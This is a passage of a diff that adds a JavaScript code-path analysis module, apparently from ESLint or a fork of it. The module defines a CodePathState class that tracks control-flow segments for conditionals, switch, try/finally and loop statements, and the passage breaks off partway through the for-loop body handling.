+// eslint-disable-next-line
+const CodePathSegment = require('./code-path-segment');
+// eslint-disable-next-line
+const ForkContext = require('./fork-context');
+
+//------------------------------------------------------------------------------
+// Helpers
+//------------------------------------------------------------------------------
+
+/**
+ * Adds given segments into the `dest` array.
+ * If the `others` array does not includes the given segments, adds to the `all`
+ * array as well.
+ *
+ * This adds only reachable and used segments.
+ * @param {CodePathSegment[]} dest A destination array (`returnedSegments` or `thrownSegments`).
+ * @param {CodePathSegment[]} others Another destination array (`returnedSegments` or `thrownSegments`).
+ * @param {CodePathSegment[]} all The unified destination array (`finalSegments`).
+ * @param {CodePathSegment[]} segments Segments to add.
+ * @returns {void}
+ */
+function addToReturnedOrThrown(dest, others, all, segments) {
+  for (let i = 0; i < segments.length; ++i) {
+    const segment = segments[i];
+
+    dest.push(segment);
+    if (!others.includes(segment)) {
+      all.push(segment);
+    }
+  }
+}
+
+/**
+ * Gets a loop-context for a `continue` statement.
+ * @param {CodePathState} state A state to get.
+ * @param {string} label The label of a `continue` statement.
+ * @returns {LoopContext} A loop-context for a `continue` statement.
+ */
+function getContinueContext(state, label) {
+  if (!label) {
+    return state.loopContext;
+  }
+
+  let context = state.loopContext;
+
+  while (context) {
+    if (context.label === label) {
+      return context;
+    }
+    context = context.upper;
+  }
+
+  /* c8 ignore next */
+  return null;
+}
+
+/**
+ * Gets a context for a `break` statement.
+ * @param {CodePathState} state A state to get.
+ * @param {string} label The label of a `break` statement.
+ * @returns {LoopContext|SwitchContext} A context for a `break` statement.
+ */
+function getBreakContext(state, label) {
+  let context = state.breakContext;
+
+  while (context) {
+    if (label ? context.label === label : context.breakable) {
+      return context;
+    }
+    context = context.upper;
+  }
+
+  /* c8 ignore next */
+  return null;
+}
+
+/**
+ * Gets a context for a `return` statement.
+ * @param {CodePathState} state A state to get.
+ * @returns {TryContext|CodePathState} A context for a `return` statement.
+ */
+function getReturnContext(state) {
+  let context = state.tryContext;
+
+  while (context) {
+    if (context.hasFinalizer && context.position !== 'finally') {
+      return context;
+    }
+    context = context.upper;
+  }
+
+  return state;
+}
+
+/**
+ * Gets a context for a `throw` statement.
+ * @param {CodePathState} state A state to get.
+ * @returns {TryContext|CodePathState} A context for a `throw` statement.
+ */
+function getThrowContext(state) {
+  let context = state.tryContext;
+
+  while (context) {
+    if (
+      context.position === 'try' ||
+      (context.hasFinalizer && context.position === 'catch')
+    ) {
+      return context;
+    }
+    context = context.upper;
+  }
+
+  return state;
+}
+
+/**
+ * Removes a given element from a given array.
+ * @param {any[]} xs An array to remove the specific element.
+ * @param {any} x An element to be removed.
+ * @returns {void}
+ */
+function remove(xs, x) {
+  xs.splice(xs.indexOf(x), 1);
+}
+
+/**
+ * Disconnect given segments.
+ *
+ * This is used in a process for switch statements.
+ * If there is the "default" chunk before other cases, the order is different
+ * between node's and running's.
+ * @param {CodePathSegment[]} prevSegments Forward segments to disconnect.
+ * @param {CodePathSegment[]} nextSegments Backward segments to disconnect.
+ * @returns {void}
+ */
+function removeConnection(prevSegments, nextSegments) {
+  for (let i = 0; i < prevSegments.length; ++i) {
+    const prevSegment = prevSegments[i];
+    const nextSegment = nextSegments[i];
+
+    remove(prevSegment.nextSegments, nextSegment);
+    remove(prevSegment.allNextSegments, nextSegment);
+    remove(nextSegment.prevSegments, prevSegment);
+    remove(nextSegment.allPrevSegments, prevSegment);
+  }
+}
+
+/**
+ * Creates looping path.
+ * @param {CodePathState} state The instance.
+ * @param {CodePathSegment[]} unflattenedFromSegments Segments which are source.
+ * @param {CodePathSegment[]} unflattenedToSegments Segments which are destination.
+ * @returns {void}
+ */
+function makeLooped(state, unflattenedFromSegments, unflattenedToSegments) {
+  const fromSegments = CodePathSegment.flattenUnusedSegments(
+    unflattenedFromSegments,
+  );
+  const toSegments = CodePathSegment.flattenUnusedSegments(
+    unflattenedToSegments,
+  );
+
+  const end = Math.min(fromSegments.length, toSegments.length);
+
+  for (let i = 0; i < end; ++i) {
+    const fromSegment = fromSegments[i];
+    const toSegment = toSegments[i];
+
+    if (toSegment.reachable) {
+      fromSegment.nextSegments.push(toSegment);
+    }
+    if (fromSegment.reachable) {
+      toSegment.prevSegments.push(fromSegment);
+    }
+    fromSegment.allNextSegments.push(toSegment);
+    toSegment.allPrevSegments.push(fromSegment);
+
+    if (toSegment.allPrevSegments.length >= 2) {
+      CodePathSegment.markPrevSegmentAsLooped(toSegment, fromSegment);
+    }
+
+    state.notifyLooped(fromSegment, toSegment);
+  }
+}
+
+/**
+ * Finalizes segments of `test` chunk of a ForStatement.
+ *
+ * - Adds `false` paths to paths which are leaving from the loop.
+ * - Sets `true` paths to paths which go to the body.
+ * @param {LoopContext} context A loop context to modify.
+ * @param {ChoiceContext} choiceContext A choice context of this loop.
+ * @param {CodePathSegment[]} head The current head paths.
+ * @returns {void}
+ */
+function finalizeTestSegmentsOfFor(context, choiceContext, head) {
+  if (!choiceContext.processed) {
+    choiceContext.trueForkContext.add(head);
+    choiceContext.falseForkContext.add(head);
+    choiceContext.qqForkContext.add(head);
+  }
+
+  if (context.test !== true) {
+    context.brokenForkContext.addAll(choiceContext.falseForkContext);
+  }
+  context.endOfTestSegments = choiceContext.trueForkContext.makeNext(0, -1);
+}
+
+//------------------------------------------------------------------------------
+// Public Interface
+//------------------------------------------------------------------------------
+
+/**
+ * A class which manages state to analyze code paths.
+ */
+class CodePathState {
+  /**
+   * @param {IdGenerator} idGenerator An id generator to generate id for code
+   *   path segments.
+   * @param {Function} onLooped A callback function to notify looping.
+   */
+  constructor(idGenerator, onLooped) {
+    this.idGenerator = idGenerator;
+    this.notifyLooped = onLooped;
+    this.forkContext = ForkContext.newRoot(idGenerator);
+    this.choiceContext = null;
+    this.switchContext = null;
+    this.tryContext = null;
+    this.loopContext = null;
+    this.breakContext = null;
+    this.chainContext = null;
+
+    this.currentSegments = [];
+    this.initialSegment = this.forkContext.head[0];
+
+    // returnedSegments and thrownSegments push elements into finalSegments also.
+    const final = (this.finalSegments = []);
+    const returned = (this.returnedForkContext = []);
+    const thrown = (this.thrownForkContext = []);
+
+    returned.add = addToReturnedOrThrown.bind(null, returned, thrown, final);
+    thrown.add = addToReturnedOrThrown.bind(null, thrown, returned, final);
+  }
+
+  /**
+   * The head segments.
+   * @type {CodePathSegment[]}
+   */
+  get headSegments() {
+    return this.forkContext.head;
+  }
+
+  /**
+   * The parent forking context.
+   * This is used for the root of new forks.
+   * @type {ForkContext}
+   */
+  get parentForkContext() {
+    const current = this.forkContext;
+
+    return current && current.upper;
+  }
+
+  /**
+   * Creates and stacks new forking context.
+   * @param {boolean} forkLeavingPath A flag which shows being in a
+   *   "finally" block.
+   * @returns {ForkContext} The created context.
+   */
+  pushForkContext(forkLeavingPath) {
+    this.forkContext = ForkContext.newEmpty(this.forkContext, forkLeavingPath);
+
+    return this.forkContext;
+  }
+
+  /**
+   * Pops and merges the last forking context.
+   * @returns {ForkContext} The last context.
+   */
+  popForkContext() {
+    const lastContext = this.forkContext;
+
+    this.forkContext = lastContext.upper;
+    this.forkContext.replaceHead(lastContext.makeNext(0, -1));
+
+    return lastContext;
+  }
+
+  /**
+   * Creates a new path.
+   * @returns {void}
+   */
+  forkPath() {
+    this.forkContext.add(this.parentForkContext.makeNext(-1, -1));
+  }
+
+  /**
+   * Creates a bypass path.
+   * This is used for such as IfStatement which does not have "else" chunk.
+   * @returns {void}
+   */
+  forkBypassPath() {
+    this.forkContext.add(this.parentForkContext.head);
+  }
+
+  //--------------------------------------------------------------------------
+  // ConditionalExpression, LogicalExpression, IfStatement
+  //--------------------------------------------------------------------------
+
+  /**
+   * Creates a context for ConditionalExpression, LogicalExpression, AssignmentExpression (logical assignments only),
+   * IfStatement, WhileStatement, DoWhileStatement, or ForStatement.
+   *
+   * LogicalExpressions have cases that it goes different paths between the
+   * `true` case and the `false` case.
+   *
+   * For Example:
+   *
+   *     if (a || b) {
+   *         foo();
+   *     } else {
+   *         bar();
+   *     }
+   *
+   * In this case, `b` is evaluated always in the code path of the `else`
+   * block, but it's not so in the code path of the `if` block.
+   * So there are 3 paths.
+   *
+   *     a -> foo();
+   *     a -> b -> foo();
+   *     a -> b -> bar();
+   * @param {string} kind A kind string.
+   *   If the new context is LogicalExpression's or AssignmentExpression's, this is `"&&"` or `"||"` or `"??"`.
+   *   If it's IfStatement's or ConditionalExpression's, this is `"test"`.
+   *   Otherwise, this is `"loop"`.
+   * @param {boolean} isForkingAsResult A flag that shows that goes different
+   *   paths between `true` and `false`.
+   * @returns {void}
+   */
+  pushChoiceContext(kind, isForkingAsResult) {
+    this.choiceContext = {
+      upper: this.choiceContext,
+      kind,
+      isForkingAsResult,
+      trueForkContext: ForkContext.newEmpty(this.forkContext),
+      falseForkContext: ForkContext.newEmpty(this.forkContext),
+      qqForkContext: ForkContext.newEmpty(this.forkContext),
+      processed: false,
+    };
+  }
+
+  /**
+   * Pops the last choice context and finalizes it.
+   * @throws {Error} (Unreachable.)
+   * @returns {ChoiceContext} The popped context.
+   */
+  popChoiceContext() {
+    const context = this.choiceContext;
+
+    this.choiceContext = context.upper;
+
+    const forkContext = this.forkContext;
+    const headSegments = forkContext.head;
+
+    switch (context.kind) {
+      case '&&':
+      case '||':
+      case '??':
+        /*
+         * If any result were not transferred from child contexts,
+         * this sets the head segments to both cases.
+         * The head segments are the path of the right-hand operand.
+         */
+        if (!context.processed) {
+          context.trueForkContext.add(headSegments);
+          context.falseForkContext.add(headSegments);
+          context.qqForkContext.add(headSegments);
+        }
+
+        /*
+         * Transfers results to upper context if this context is in
+         * test chunk.
+         */
+        if (context.isForkingAsResult) {
+          const parentContext = this.choiceContext;
+
+          parentContext.trueForkContext.addAll(context.trueForkContext);
+          parentContext.falseForkContext.addAll(context.falseForkContext);
+          parentContext.qqForkContext.addAll(context.qqForkContext);
+          parentContext.processed = true;
+
+          return context;
+        }
+
+        break;
+
+      case 'test':
+        if (!context.processed) {
+          /*
+           * The head segments are the path of the `if` block here.
+           * Updates the `true` path with the end of the `if` block.
+           */
+          context.trueForkContext.clear();
+          context.trueForkContext.add(headSegments);
+        } else {
+          /*
+           * The head segments are the path of the `else` block here.
+           * Updates the `false` path with the end of the `else`
+           * block.
+           */
+          context.falseForkContext.clear();
+          context.falseForkContext.add(headSegments);
+        }
+
+        break;
+
+      case 'loop':
+        /*
+         * Loops are addressed in popLoopContext().
+         * This is called from popLoopContext().
+         */
+        return context;
+
+      /* c8 ignore next */
+      default:
+        throw new Error('unreachable');
+    }
+
+    // Merges all paths.
+    const prevForkContext = context.trueForkContext;
+
+    prevForkContext.addAll(context.falseForkContext);
+    forkContext.replaceHead(prevForkContext.makeNext(0, -1));
+
+    return context;
+  }
+
+  /**
+   * Makes a code path segment of the right-hand operand of a logical
+   * expression.
+   * @throws {Error} (Unreachable.)
+   * @returns {void}
+   */
+  makeLogicalRight() {
+    const context = this.choiceContext;
+    const forkContext = this.forkContext;
+
+    if (context.processed) {
+      /*
+       * This got segments already from the child choice context.
+       * Creates the next path from own true/false fork context.
+       */
+      let prevForkContext;
+
+      switch (context.kind) {
+        case '&&': // if true then go to the right-hand side.
+          prevForkContext = context.trueForkContext;
+          break;
+        case '||': // if false then go to the right-hand side.
+          prevForkContext = context.falseForkContext;
+          break;
+        case '??': // Both true/false can short-circuit, so needs the third path to go to the right-hand side. That's qqForkContext.
+          prevForkContext = context.qqForkContext;
+          break;
+        default:
+          throw new Error('unreachable');
+      }
+
+      forkContext.replaceHead(prevForkContext.makeNext(0, -1));
+      prevForkContext.clear();
+      context.processed = false;
+    } else {
+      /*
+       * This did not get segments from the child choice context.
+       * So addresses the head segments.
+       * The head segments are the path of the left-hand operand.
+       */
+      switch (context.kind) {
+        case '&&': // the false path can short-circuit.
+          context.falseForkContext.add(forkContext.head);
+          break;
+        case '||': // the true path can short-circuit.
+          context.trueForkContext.add(forkContext.head);
+          break;
+        case '??': // both can short-circuit.
+          context.trueForkContext.add(forkContext.head);
+          context.falseForkContext.add(forkContext.head);
+          break;
+        default:
+          throw new Error('unreachable');
+      }
+
+      forkContext.replaceHead(forkContext.makeNext(-1, -1));
+    }
+  }
+
+  /**
+   * Makes a code path segment of the `if` block.
+   * @returns {void}
+   */
+  makeIfConsequent() {
+    const context = this.choiceContext;
+    const forkContext = this.forkContext;
+
+    /*
+     * If any result were not transferred from child contexts,
+     * this sets the head segments to both cases.
+     * The head segments are the path of the test expression.
+     */
+    if (!context.processed) {
+      context.trueForkContext.add(forkContext.head);
+      context.falseForkContext.add(forkContext.head);
+      context.qqForkContext.add(forkContext.head);
+    }
+
+    context.processed = false;
+
+    // Creates new path from the `true` case.
+    forkContext.replaceHead(context.trueForkContext.makeNext(0, -1));
+  }
+
+  /**
+   * Makes a code path segment of the `else` block.
+   * @returns {void}
+   */
+  makeIfAlternate() {
+    const context = this.choiceContext;
+    const forkContext = this.forkContext;
+
+    /*
+     * The head segments are the path of the `if` block.
+     * Updates the `true` path with the end of the `if` block.
+     */
+    context.trueForkContext.clear();
+    context.trueForkContext.add(forkContext.head);
+    context.processed = true;
+
+    // Creates new path from the `false` case.
+    forkContext.replaceHead(context.falseForkContext.makeNext(0, -1));
+  }
+
+  //--------------------------------------------------------------------------
+  // ChainExpression
+  //--------------------------------------------------------------------------
+
+  /**
+   * Push a new `ChainExpression` context to the stack.
+   * This method is called on entering to each `ChainExpression` node.
+   * This context is used to count forking in the optional chain then merge them on the exiting from the `ChainExpression` node.
+   * @returns {void}
+   */
+  pushChainContext() {
+    this.chainContext = {
+      upper: this.chainContext,
+      countChoiceContexts: 0,
+    };
+  }
+
+  /**
+   * Pop a `ChainExpression` context from the stack.
+   * This method is called on exiting from each `ChainExpression` node.
+   * This merges all forks of the last optional chaining.
+   * @returns {void}
+   */
+  popChainContext() {
+    const context = this.chainContext;
+
+    this.chainContext = context.upper;
+
+    // pop all choice contexts of this.
+    for (let i = context.countChoiceContexts; i > 0; --i) {
+      this.popChoiceContext();
+    }
+  }
+
+  /**
+   * Create a choice context for optional access.
+   * This method is called on entering to each `(Call|Member)Expression[optional=true]` node.
+   * This creates a choice context as similar to `LogicalExpression[operator="??"]` node.
+   * @returns {void}
+   */
+  makeOptionalNode() {
+    if (this.chainContext) {
+      this.chainContext.countChoiceContexts += 1;
+      this.pushChoiceContext('??', false);
+    }
+  }
+
+  /**
+   * Create a fork.
+   * This method is called on entering to the `arguments|property` property of each `(Call|Member)Expression` node.
+   * @returns {void}
+   */
+  makeOptionalRight() {
+    if (this.chainContext) {
+      this.makeLogicalRight();
+    }
+  }
+
+  //--------------------------------------------------------------------------
+  // SwitchStatement
+  //--------------------------------------------------------------------------
+
+  /**
+   * Creates a context object of SwitchStatement and stacks it.
+   * @param {boolean} hasCase `true` if the switch statement has one or more
+   *   case parts.
+   * @param {string|null} label The label text.
+   * @returns {void}
+   */
+  pushSwitchContext(hasCase, label) {
+    this.switchContext = {
+      upper: this.switchContext,
+      hasCase,
+      defaultSegments: null,
+      defaultBodySegments: null,
+      foundDefault: false,
+      lastIsDefault: false,
+      countForks: 0,
+    };
+
+    this.pushBreakContext(true, label);
+  }
+
+  /**
+   * Pops the last context of SwitchStatement and finalizes it.
+   *
+   * - Disposes all forking stack for `case` and `default`.
+   * - Creates the next code path segment from `context.brokenForkContext`.
+   * - If the last `SwitchCase` node is not a `default` part, creates a path
+   *   to the `default` body.
+   * @returns {void}
+   */
+  popSwitchContext() {
+    const context = this.switchContext;
+
+    this.switchContext = context.upper;
+
+    const forkContext = this.forkContext;
+    const brokenForkContext = this.popBreakContext().brokenForkContext;
+
+    if (context.countForks === 0) {
+      /*
+       * When there is only one `default` chunk and there is one or more
+       * `break` statements, even if forks are nothing, it needs to merge
+       * those.
+       */
+      if (!brokenForkContext.empty) {
+        brokenForkContext.add(forkContext.makeNext(-1, -1));
+        forkContext.replaceHead(brokenForkContext.makeNext(0, -1));
+      }
+
+      return;
+    }
+
+    const lastSegments = forkContext.head;
+
+    this.forkBypassPath();
+    const lastCaseSegments = forkContext.head;
+
+    /*
+     * `brokenForkContext` is used to make the next segment.
+     * It must add the last segment into `brokenForkContext`.
+     */
+    brokenForkContext.add(lastSegments);
+
+    /*
+     * A path which is failed in all case test should be connected to path
+     * of `default` chunk.
+     */
+    if (!context.lastIsDefault) {
+      if (context.defaultBodySegments) {
+        /*
+         * Remove a link from `default` label to its chunk.
+         * It's false route.
+         */
+        removeConnection(context.defaultSegments, context.defaultBodySegments);
+        makeLooped(this, lastCaseSegments, context.defaultBodySegments);
+      } else {
+        /*
+         * It handles the last case body as broken if `default` chunk
+         * does not exist.
+         */
+        brokenForkContext.add(lastCaseSegments);
+      }
+    }
+
+    // Pops the segment context stack until the entry segment.
+    for (let i = 0; i < context.countForks; ++i) {
+      this.forkContext = this.forkContext.upper;
+    }
+
+    /*
+     * Creates a path from all brokenForkContext paths.
+     * This is a path after switch statement.
+     */
+    this.forkContext.replaceHead(brokenForkContext.makeNext(0, -1));
+  }
+
+  /**
+   * Makes a code path segment for a `SwitchCase` node.
+   * @param {boolean} isEmpty `true` if the body is empty.
+   * @param {boolean} isDefault `true` if the body is the default case.
+   * @returns {void}
+   */
+  makeSwitchCaseBody(isEmpty, isDefault) {
+    const context = this.switchContext;
+
+    if (!context.hasCase) {
+      return;
+    }
+
+    /*
+     * Merge forks.
+     * The parent fork context has two segments.
+     * Those are from the current case and the body of the previous case.
+     */
+    const parentForkContext = this.forkContext;
+    const forkContext = this.pushForkContext();
+
+    forkContext.add(parentForkContext.makeNext(0, -1));
+
+    /*
+     * Save `default` chunk info.
+     * If the `default` label is not at the last, we must make a path from
+     * the last `case` to the `default` chunk.
+     */
+    if (isDefault) {
+      context.defaultSegments = parentForkContext.head;
+      if (isEmpty) {
+        context.foundDefault = true;
+      } else {
+        context.defaultBodySegments = forkContext.head;
+      }
+    } else {
+      if (!isEmpty && context.foundDefault) {
+        context.foundDefault = false;
+        context.defaultBodySegments = forkContext.head;
+      }
+    }
+
+    context.lastIsDefault = isDefault;
+    context.countForks += 1;
+  }
+
+  //--------------------------------------------------------------------------
+  // TryStatement
+  //--------------------------------------------------------------------------
+
+  /**
+   * Creates a context object of TryStatement and stacks it.
+   * @param {boolean} hasFinalizer `true` if the try statement has a
+   *   `finally` block.
+   * @returns {void}
+   */
+  pushTryContext(hasFinalizer) {
+    this.tryContext = {
+      upper: this.tryContext,
+      position: 'try',
+      hasFinalizer,
+
+      returnedForkContext: hasFinalizer
+        ? ForkContext.newEmpty(this.forkContext)
+        : null,
+
+      thrownForkContext: ForkContext.newEmpty(this.forkContext),
+      lastOfTryIsReachable: false,
+      lastOfCatchIsReachable: false,
+    };
+  }
+
+  /**
+   * Pops the last context of TryStatement and finalizes it.
+   * @returns {void}
+   */
+  popTryContext() {
+    const context = this.tryContext;
+
+    this.tryContext = context.upper;
+
+    if (context.position === 'catch') {
+      // Merges two paths from the `try` block and `catch` block merely.
+      this.popForkContext();
+      return;
+    }
+
+    /*
+     * The following process is executed only when there is the `finally`
+     * block.
+     */
+
+    const returned = context.returnedForkContext;
+    const thrown = context.thrownForkContext;
+
+    if (returned.empty && thrown.empty) {
+      return;
+    }
+
+    // Separate head to normal paths and leaving paths.
+    const headSegments = this.forkContext.head;
+
+    this.forkContext = this.forkContext.upper;
+    const normalSegments = headSegments.slice(0, (headSegments.length / 2) | 0);
+    const leavingSegments = headSegments.slice((headSegments.length / 2) | 0);
+
+    // Forwards the leaving path to upper contexts.
+    if (!returned.empty) {
+      getReturnContext(this).returnedForkContext.add(leavingSegments);
+    }
+    if (!thrown.empty) {
+      getThrowContext(this).thrownForkContext.add(leavingSegments);
+    }
+
+    // Sets the normal path as the next.
+    this.forkContext.replaceHead(normalSegments);
+
+    /*
+     * If both paths of the `try` block and the `catch` block are
+     * unreachable, the next path becomes unreachable as well.
+     */
+    if (!context.lastOfTryIsReachable && !context.lastOfCatchIsReachable) {
+      this.forkContext.makeUnreachable();
+    }
+  }
+
+  /**
+   * Makes a code path segment for a `catch` block.
+   * @returns {void}
+   */
+  makeCatchBlock() {
+    const context = this.tryContext;
+    const forkContext = this.forkContext;
+    const thrown = context.thrownForkContext;
+
+    // Update state.
+    context.position = 'catch';
+    context.thrownForkContext = ForkContext.newEmpty(forkContext);
+    context.lastOfTryIsReachable = forkContext.reachable;
+
+    // Merge thrown paths.
+    thrown.add(forkContext.head);
+    const thrownSegments = thrown.makeNext(0, -1);
+
+    // Fork to a bypass and the merged thrown path.
+    this.pushForkContext();
+    this.forkBypassPath();
+    this.forkContext.add(thrownSegments);
+  }
+
+  /**
+   * Makes a code path segment for a `finally` block.
+   *
+   * In the `finally` block, parallel paths are created. The parallel paths
+   * are used as leaving-paths. The leaving-paths are paths from `return`
+   * statements and `throw` statements in a `try` block or a `catch` block.
+   * @returns {void}
+   */
+  makeFinallyBlock() {
+    const context = this.tryContext;
+    let forkContext = this.forkContext;
+    const returned = context.returnedForkContext;
+    const thrown = context.thrownForkContext;
+    const headOfLeavingSegments = forkContext.head;
+
+    // Update state.
+    if (context.position === 'catch') {
+      // Merges two paths from the `try` block and `catch` block.
+      this.popForkContext();
+      forkContext = this.forkContext;
+
+      context.lastOfCatchIsReachable = forkContext.reachable;
+    } else {
+      context.lastOfTryIsReachable = forkContext.reachable;
+    }
+    context.position = 'finally';
+
+    if (returned.empty && thrown.empty) {
+      // This path does not leave.
+      return;
+    }
+
+    /*
+     * Create a parallel segment from merging returned and thrown.
+     * This segment will leave at the end of this finally block.
+     */
+    const segments = forkContext.makeNext(-1, -1);
+
+    for (let i = 0; i < forkContext.count; ++i) {
+      const prevSegsOfLeavingSegment = [headOfLeavingSegments[i]];
+
+      for (let j = 0; j < returned.segmentsList.length; ++j) {
+        prevSegsOfLeavingSegment.push(returned.segmentsList[j][i]);
+      }
+      for (let j = 0; j < thrown.segmentsList.length; ++j) {
+        prevSegsOfLeavingSegment.push(thrown.segmentsList[j][i]);
+      }
+
+      segments.push(
+        CodePathSegment.newNext(
+          this.idGenerator.next(),
+          prevSegsOfLeavingSegment,
+        ),
+      );
+    }
+
+    this.pushForkContext(true);
+    this.forkContext.add(segments);
+  }
+
+  /**
+   * Makes a code path segment from the first throwable node to the `catch`
+   * block or the `finally` block.
+   * @returns {void}
+   */
+  makeFirstThrowablePathInTryBlock() {
+    const forkContext = this.forkContext;
+
+    if (!forkContext.reachable) {
+      return;
+    }
+
+    const context = getThrowContext(this);
+
+    if (
+      context === this ||
+      context.position !== 'try' ||
+      !context.thrownForkContext.empty
+    ) {
+      return;
+    }
+
+    context.thrownForkContext.add(forkContext.head);
+    forkContext.replaceHead(forkContext.makeNext(-1, -1));
+  }
+
+  //--------------------------------------------------------------------------
+  // Loop Statements
+  //--------------------------------------------------------------------------
+
+  /**
+   * Creates a context object of a loop statement and stacks it.
+   * @param {string} type The type of the node which was triggered. One of
+   *   `WhileStatement`, `DoWhileStatement`, `ForStatement`, `ForInStatement`,
+   *   and `ForStatement`.
+   * @param {string|null} label A label of the node which was triggered.
+   * @throws {Error} (Unreachable - unknown type.)
+   * @returns {void}
+   */
+  pushLoopContext(type, label) {
+    const forkContext = this.forkContext;
+    const breakContext = this.pushBreakContext(true, label);
+
+    switch (type) {
+      case 'WhileStatement':
+        this.pushChoiceContext('loop', false);
+        this.loopContext = {
+          upper: this.loopContext,
+          type,
+          label,
+          test: void 0,
+          continueDestSegments: null,
+          brokenForkContext: breakContext.brokenForkContext,
+        };
+        break;
+
+      case 'DoWhileStatement':
+        this.pushChoiceContext('loop', false);
+        this.loopContext = {
+          upper: this.loopContext,
+          type,
+          label,
+          test: void 0,
+          entrySegments: null,
+          continueForkContext: ForkContext.newEmpty(forkContext),
+          brokenForkContext: breakContext.brokenForkContext,
+        };
+        break;
+
+      case 'ForStatement':
+        this.pushChoiceContext('loop', false);
+        this.loopContext = {
+          upper: this.loopContext,
+          type,
+          label,
+          test: void 0,
+          endOfInitSegments: null,
+          testSegments: null,
+          endOfTestSegments: null,
+          updateSegments: null,
+          endOfUpdateSegments: null,
+          continueDestSegments: null,
+          brokenForkContext: breakContext.brokenForkContext,
+        };
+        break;
+
+      case 'ForInStatement':
+      case 'ForOfStatement':
+        this.loopContext = {
+          upper: this.loopContext,
+          type,
+          label,
+          prevSegments: null,
+          leftSegments: null,
+          endOfLeftSegments: null,
+          continueDestSegments: null,
+          brokenForkContext: breakContext.brokenForkContext,
+        };
+        break;
+
+      /* c8 ignore next */
+      default:
+        throw new Error(`unknown type: "${type}"`);
+    }
+  }
+
+  /**
+   * Pops the last context of a loop statement and finalizes it.
+   * @throws {Error} (Unreachable - unknown type.)
+   * @returns {void}
+   */
+  popLoopContext() {
+    const context = this.loopContext;
+
+    this.loopContext = context.upper;
+
+    const forkContext = this.forkContext;
+    const brokenForkContext = this.popBreakContext().brokenForkContext;
+
+    // Creates a looped path.
+    switch (context.type) {
+      case 'WhileStatement':
+      case 'ForStatement':
+        this.popChoiceContext();
+        makeLooped(this, forkContext.head, context.continueDestSegments);
+        break;
+
+      case 'DoWhileStatement': {
+        const choiceContext = this.popChoiceContext();
+
+        if (!choiceContext.processed) {
+          choiceContext.trueForkContext.add(forkContext.head);
+          choiceContext.falseForkContext.add(forkContext.head);
+        }
+        if (context.test !== true) {
+          brokenForkContext.addAll(choiceContext.falseForkContext);
+        }
+
+        // `true` paths go to looping.
+        const segmentsList = choiceContext.trueForkContext.segmentsList;
+
+        for (let i = 0; i < segmentsList.length; ++i) {
+          makeLooped(this, segmentsList[i], context.entrySegments);
+        }
+        break;
+      }
+
+      case 'ForInStatement':
+      case 'ForOfStatement':
+        brokenForkContext.add(forkContext.head);
+        makeLooped(this, forkContext.head, context.leftSegments);
+        break;
+
+      /* c8 ignore next */
+      default:
+        throw new Error('unreachable');
+    }
+
+    // Go next.
+    if (brokenForkContext.empty) {
+      forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));
+    } else {
+      forkContext.replaceHead(brokenForkContext.makeNext(0, -1));
+    }
+  }
+
+  /**
+   * Makes a code path segment for the test part of a WhileStatement.
+   * @param {boolean|undefined} test The test value (only when constant).
+   * @returns {void}
+   */
+  makeWhileTest(test) {
+    const context = this.loopContext;
+    const forkContext = this.forkContext;
+    const testSegments = forkContext.makeNext(0, -1);
+
+    // Update state.
+    context.test = test;
+    context.continueDestSegments = testSegments;
+    forkContext.replaceHead(testSegments);
+  }
+
+  /**
+   * Makes a code path segment for the body part of a WhileStatement.
+   * @returns {void}
+   */
+  makeWhileBody() {
+    const context = this.loopContext;
+    const choiceContext = this.choiceContext;
+    const forkContext = this.forkContext;
+
+    if (!choiceContext.processed) {
+      choiceContext.trueForkContext.add(forkContext.head);
+      choiceContext.falseForkContext.add(forkContext.head);
+    }
+
+    // Update state.
+    if (context.test !== true) {
+      context.brokenForkContext.addAll(choiceContext.falseForkContext);
+    }
+    forkContext.replaceHead(choiceContext.trueForkContext.makeNext(0, -1));
+  }
+
+  /**
+   * Makes a code path segment for the body part of a DoWhileStatement.
+   * @returns {void}
+   */
+  makeDoWhileBody() {
+    const context = this.loopContext;
+    const forkContext = this.forkContext;
+    const bodySegments = forkContext.makeNext(-1, -1);
+
+    // Update state.
+    context.entrySegments = bodySegments;
+    forkContext.replaceHead(bodySegments);
+  }
+
+  /**
+   * Makes a code path segment for the test part of a DoWhileStatement.
+   * @param {boolean|undefined} test The test value (only when constant).
+   * @returns {void}
+   */
+  makeDoWhileTest(test) {
+    const context = this.loopContext;
+    const forkContext = this.forkContext;
+
+    context.test = test;
+
+    // Creates paths of `continue` statements.
+    if (!context.continueForkContext.empty) {
+      context.continueForkContext.add(forkContext.head);
+      const testSegments = context.continueForkContext.makeNext(0, -1);
+
+      forkContext.replaceHead(testSegments);
+    }
+  }
+
+  /**
+   * Makes a code path segment for the test part of a ForStatement.
+   * @param {boolean|undefined} test The test value (only when constant).
+   * @returns {void}
+   */
+  makeForTest(test) {
+    const context = this.loopContext;
+    const forkContext = this.forkContext;
+    const endOfInitSegments = forkContext.head;
+    const testSegments = forkContext.makeNext(-1, -1);
+
+    // Update state.
+    context.test = test;
+    context.endOfInitSegments = endOfInitSegments;
+    context.continueDestSegments = context.testSegments = testSegments;
+    forkContext.replaceHead(testSegments);
+  }
+
+  /**
+   * Makes a code path segment for the update part of a ForStatement.
+   * @returns {void}
+   */
+  makeForUpdate() {
+    const context = this.loopContext;
+    const choiceContext = this.choiceContext;
+    const forkContext = this.forkContext;
+
+    // Make the next paths of the test.
+    if (context.testSegments) {
+      finalizeTestSegmentsOfFor(context, choiceContext, forkContext.head);
+    } else {
+      context.endOfInitSegments = forkContext.head;
+    }
+
+    // Update state.
+    const updateSegments = forkContext.makeDisconnected(-1, -1);
+
+    context.continueDestSegments = context.updateSegments = updateSegments;
+    forkContext.replaceHead(updateSegments);
+  }
+
+  /**
+   * Makes a code path segment for the body part of a ForStatement.
+   * @returns {void}
+   */
+  makeForBody() {
+    const context = this.loopContext;
+    const choiceContext = this.choiceContext;
+    const forkContext = this.forkContext;
+
+    // Update state.
+    if (context.updateSegments) {
+      context.endOfUpdateSegments = forkContext.head;
+
+      // `update` -> `test`
+      if (context.testSegments) {
+        makeLooped(this, context.endOfUpdateSegments, context.testSegments);
+      }
+    } else if (context.testSegments) {
+      finalizeTestSegmentsOfFor(context, choiceContext, forkContext.head);
+    } else {
+      context.endOfInitSegments = forkContext.head;
+    }
+
+    let bodySegments = context.endOfTestSegments;
+
+    if (!bodySegments) {
+      /*
+       * If there is not the `test` part, the `body` path comes from the
+       * `init` part and the `update` part.
+       */
+      const prevForkContext = ForkContext.newEmpty(forkContext);
+
+      prevForkContext.add(context.endOfInitSegments);
+      if (context.endOfUpdateSegments) {
+        prevForkContext.add(context.endOfUpdateSegments);
+      }
+
